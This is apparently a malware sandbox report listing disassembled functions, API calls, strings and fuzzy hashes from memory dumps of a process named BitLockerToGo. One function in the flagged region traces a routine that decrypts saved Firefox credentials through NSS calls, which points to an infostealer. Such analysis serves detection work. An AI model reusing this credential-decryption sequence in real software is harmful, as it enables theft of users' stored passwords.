Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a79c07b11e75222073ccbbaa173b8d80f3f09f511219aa906958b3fa8da0ae57
Instruction ID: 878ddddecfdbcec5276b4279a223a7261b4756dd81f8a201320335b3b0edce37
Opcode Fuzzy Hash: a79c07b11e75222073ccbbaa173b8d80f3f09f511219aa906958b3fa8da0ae57
Instruction Fuzzy Hash: A8F11671A087454FD700CF28C8907AABBF2AFCB318F158A6DE4D487791F77499458792

Function 03019750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6CCD55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CCAE1A5), ref: 6CCD5606
LoadLibraryW.KERNEL32(gdi32,?,6CCAE1A5), ref: 6CCD560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CCD5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CCD563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CCD566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CCD567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CCD5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CCD56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CCD56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CCD56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CCD56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CCD5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CCD572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CCD5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CCD5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CCD577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CCD5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CCD57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CCD57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CCD57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CCD57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CCD57FF

Strings

user32, xrefs: 6CCD5601
GetWindowDC, xrefs: 6CCD5710
DeleteObject, xrefs: 6CCD57F9
FillRect, xrefs: 6CCD5729
gdi32, xrefs: 6CCD560A
RegisterClassW, xrefs: 6CCD56AC
CreateSolidBrush, xrefs: 6CCD57E4
LoadIconW, xrefs: 6CCD575B
ReleaseDC, xrefs: 6CCD5742
EnableNonClientDpiScaling, xrefs: 6CCD5666
GetMonitorInfoW, xrefs: 6CCD57A2
MonitorFromWindow, xrefs: 6CCD578D
GetThreadDpiAwarenessContext, xrefs: 6CCD562D
ShowWindow, xrefs: 6CCD56DE
LoadCursorW, xrefs: 6CCD5774
StretchDIBits, xrefs: 6CCD57CC
CreateWindowExW, xrefs: 6CCD56C5
GetSystemMetricsForDpi, xrefs: 6CCD5677
SetWindowPos, xrefs: 6CCD56F7
SetWindowLongPtrW, xrefs: 6CCD57B7
GetDpiForWindow, xrefs: 6CCD5690
AreDpiAwarenessContextsEqual, xrefs: 6CCD5637

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: d001178a5c4772b0bf9c2ddeff44c5427319381d47c36629161f99a68b60c983
Instruction ID: df0535154ad5fcc1856863e1a923ed068bd49b1f5502e41a3ac067bf8f8ebe67
Opcode Fuzzy Hash: d001178a5c4772b0bf9c2ddeff44c5427319381d47c36629161f99a68b60c983
Instruction Fuzzy Hash: 06511DB0A11707AFEB019F39AD54D2A3AF9EF06745711442AAA71E2A42FF70DC45CF60

Function 6CCBCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CC8582D), ref: 6CCBCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CC8582D), ref: 6CCBCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CCEFE98,?,?,?,?,?,6CC8582D), ref: 6CCBCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CC8582D), ref: 6CCBCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CC8582D), ref: 6CCBCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CC8582D), ref: 6CCBCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC8582D), ref: 6CCBCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CCBCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CCBCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CCBCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CCBCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CCBCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CCBCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CCBCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CCBCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CCBCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CCBCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CCBCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CCBCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CCBCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CCBCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CCBCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CCBCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CCBCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CCBCE8A

Strings

notimerresolutionchange, xrefs: 6CCBCE00
markersallthreads, xrefs: 6CCBCE42
Unrecognized feature "%s"., xrefs: 6CCBCEA0
unregisteredthreads, xrefs: 6CCBCE58
default, xrefs: 6CCBCC21
leaf, xrefs: 6CCBCC66
seqstyle, xrefs: 6CCBCCE6
processcpu, xrefs: 6CCBCE6E
fileio, xrefs: 6CCBCC92
samplingallthreads, xrefs: 6CCBCE2C
preferencereads, xrefs: 6CCBCD92
cpuallthreads, xrefs: 6CCBCE16
jsallocations, xrefs: 6CCBCD0E
noiostacks, xrefs: 6CCBCCBE
java, xrefs: 6CCBCC37
ipcmessages, xrefs: 6CCBCDBE
screenshots, xrefs: 6CCBCCD4
nostacksampling, xrefs: 6CCBCD7C
power, xrefs: 6CCBCE84
fileioall, xrefs: 6CCBCCA8
audiocallbacktracing, xrefs: 6CCBCDD4
stackwalk, xrefs: 6CCBCCF8
mainthreadio, xrefs: 6CCBCC7C
nativeallocations, xrefs: 6CCBCDA8

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: ae07f7dba0a27a581db17b172a7c235255d217d6cf5c23a8faa9e0275e51f109
Instruction ID: 708424c41f949fb0f4212677df5c1f20e6aa7766d080a4bba91e31a2e796eea6
Opcode Fuzzy Hash: ae07f7dba0a27a581db17b172a7c235255d217d6cf5c23a8faa9e0275e51f109
Instruction Fuzzy Hash: F551A9D5B4532552FE0032BAAD10BEE2845FF5724AF104476ED39B5E80FB24A60A86B7

Function 6CC84470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC84730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CC844B2,6CCFE21C,6CCFF7F8), ref: 6CC8473E
Part of subcall function 6CC84730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CC8474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CC844BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CC844D2
InitOnceExecuteOnce.KERNEL32(6CCFF80C,6CC7F240,?,?), ref: 6CC8451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CC8455C
LoadLibraryW.KERNEL32(?), ref: 6CC84592
InitializeCriticalSection.KERNEL32(6CCFF770), ref: 6CC845A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CC845AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CC845BB
InitOnceExecuteOnce.KERNEL32(6CCFF818,6CC7F240,?,?), ref: 6CC84612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CC84636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CC84644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CC8466D
VerSetConditionMask.NTDLL ref: 6CC8469F
VerSetConditionMask.NTDLL ref: 6CC846AB
VerSetConditionMask.NTDLL ref: 6CC846B2
VerSetConditionMask.NTDLL ref: 6CC846B9
VerSetConditionMask.NTDLL ref: 6CC846C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CC846CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CC846F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CC846FD

Strings

l, xrefs: 6CC84578
user32.dll, xrefs: 6CC84557, 6CC8463F
kernel32.dll, xrefs: 6CC844CD
NativeNtBlockSet_Write, xrefs: 6CC846F7
WRusr.dll, xrefs: 6CC844B5

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 02d1e5c19c21ae4d7b8b330f4c1bcf840a63d04b823e7534810e3e9d3cd71afd
Instruction ID: 9a9f3d23f9e4021dd0b92b82fee6eef6f7626474334a5e571dc1b6c27f2960eb
Opcode Fuzzy Hash: 02d1e5c19c21ae4d7b8b330f4c1bcf840a63d04b823e7534810e3e9d3cd71afd
Instruction Fuzzy Hash: 8761F3B0601348AFEB10CF61E859B9ABBF8EF4730CF048559E5249B681F7748945CBA1

Function 6CCBF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC84A68), ref: 6CCB945E
Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCB9470
Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCB9482
Part of subcall function 6CCB9420: __Init_thread_footer.LIBCMT ref: 6CCB949F

GetCurrentThreadId.KERNEL32 ref: 6CCBF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CCBF8F9

Part of subcall function 6CC86390: GetCurrentThreadId.KERNEL32 ref: 6CC863D0
Part of subcall function 6CC86390: AcquireSRWLockExclusive.KERNEL32 ref: 6CC863DF
Part of subcall function 6CC86390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CC8640E

ReleaseSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CCBF93A
GetCurrentThreadId.KERNEL32 ref: 6CCBF98A
GetCurrentThreadId.KERNEL32 ref: 6CCBF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCBF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCBF716

Part of subcall function 6CCB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CCB94EE
Part of subcall function 6CCB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CCB9508

Part of subcall function 6CC7B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CC7B5E0

GetCurrentThreadId.KERNEL32 ref: 6CCBF739
AcquireSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CCBF746
GetCurrentThreadId.KERNEL32 ref: 6CCBF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CCF385B,00000002,?,?,?,?,?), ref: 6CCBF829
free.MOZGLUE(?,?,00000000,?), ref: 6CCBF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CCBF866
free.MOZGLUE(?), ref: 6CCBFA0C

Part of subcall function 6CC85E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC855E1), ref: 6CC85E8C
Part of subcall function 6CC85E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC85E9D
Part of subcall function 6CC85E60: GetCurrentThreadId.KERNEL32 ref: 6CC85EAB
Part of subcall function 6CC85E60: GetCurrentThreadId.KERNEL32 ref: 6CC85EB8
Part of subcall function 6CC85E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC85ECF
Part of subcall function 6CC85E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CC85F27
Part of subcall function 6CC85E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CC85F47
Part of subcall function 6CC85E60: GetCurrentProcess.KERNEL32 ref: 6CC85F53
Part of subcall function 6CC85E60: GetCurrentThread.KERNEL32 ref: 6CC85F5C
Part of subcall function 6CC85E60: GetCurrentProcess.KERNEL32 ref: 6CC85F66
Part of subcall function 6CC85E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CC85F7E

free.MOZGLUE(?), ref: 6CCBF9C5
free.MOZGLUE(?), ref: 6CCBF9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CCBF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CCBF9A6
Thread , xrefs: 6CCBF789
" attempted to re-register as ", xrefs: 6CCBF858

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 7d5fc14877c1f4354b6d9c522a424ba04262a4a8307d17494fa91cf1f013fd41
Instruction ID: 6e484e34324dcf216445468b5c3035f1435b34570d366c62a9a87b0d6d9f0ebd
Opcode Fuzzy Hash: 7d5fc14877c1f4354b6d9c522a424ba04262a4a8307d17494fa91cf1f013fd41
Instruction Fuzzy Hash: 43811379A043049FDB10DF64C840AAEBBB5FF85308F44456DE859ABB51FB31D849CBA2

Function 0300C990 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0300C9A5

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,03555EC8,00000000,?,0302144C,00000000,?,?), ref: 0300CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0300CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0300CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0300CAA8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0300CAB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0300CAD9
StrStrA.SHLWAPI(?,03555C58,03020B52), ref: 0300CAF7
StrStrA.SHLWAPI(00000000,03555D90), ref: 0300CB1E
StrStrA.SHLWAPI(?,03555770,00000000,?,03021458,00000000,?,00000000,00000000,?,03554F80,00000000,?,03021454,00000000,?), ref: 0300CCA2
StrStrA.SHLWAPI(00000000,03555590), ref: 0300CCB9

Part of subcall function 0300C820: memset.MSVCRT ref: 0300C853
Part of subcall function 0300C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,03554E90), ref: 0300C871
Part of subcall function 0300C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0300C87C
Part of subcall function 0300C820: PK11_GetInternalKeySlot.NSS3 ref: 0300C88A
Part of subcall function 0300C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0300C8A5
Part of subcall function 0300C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0300C8EB
Part of subcall function 0300C820: memcpy.MSVCRT(?,?,?), ref: 0300C912
Part of subcall function 0300C820: PK11_FreeSlot.NSS3(?), ref: 0300C961

StrStrA.SHLWAPI(?,03555590,00000000,?,0302145C,00000000,?,00000000,03554E90), ref: 0300CD5A
StrStrA.SHLWAPI(00000000,03554E60), ref: 0300CD71

Part of subcall function 0300C820: lstrcat.KERNEL32(?,03020B46), ref: 0300C943
Part of subcall function 0300C820: lstrcat.KERNEL32(?,03020B47), ref: 0300C957
Part of subcall function 0300C820: lstrcat.KERNEL32(?,03020B4E), ref: 0300C978

lstrlen.KERNEL32(00000000), ref: 0300CE44
CloseHandle.KERNEL32(00000000), ref: 0300CE9C
NSS_Shutdown.NSS3 ref: 0300CEAA

Strings

, xrefs: 0300C9C6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$??2@AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 2503097572-3916222277
Opcode ID: 857a0d87a727d792c9cef4ca656334f09fded806cd8c9e5ca2c244fed8fdf2cd
Instruction ID: f808b52b861b0188e27862d122b8d95d255258ca42a1c742e8e9d19cb0d3c55e
Opcode Fuzzy Hash: 857a0d87a727d792c9cef4ca656334f09fded806cd8c9e5ca2c244fed8fdf2cd
Instruction Fuzzy Hash: BCE11079A02208ABDB15FBA4ED94FEEB778AF54310F404159F1066B190EF706A5ACF60

Function 6CC89590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC731C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CC73217
Part of subcall function 6CC731C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CC73236
Part of subcall function 6CC731C0: FreeLibrary.KERNEL32 ref: 6CC7324B
Part of subcall function 6CC731C0: __Init_thread_footer.LIBCMT ref: 6CC73260
Part of subcall function 6CC731C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CC7327F
Part of subcall function 6CC731C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC7328E
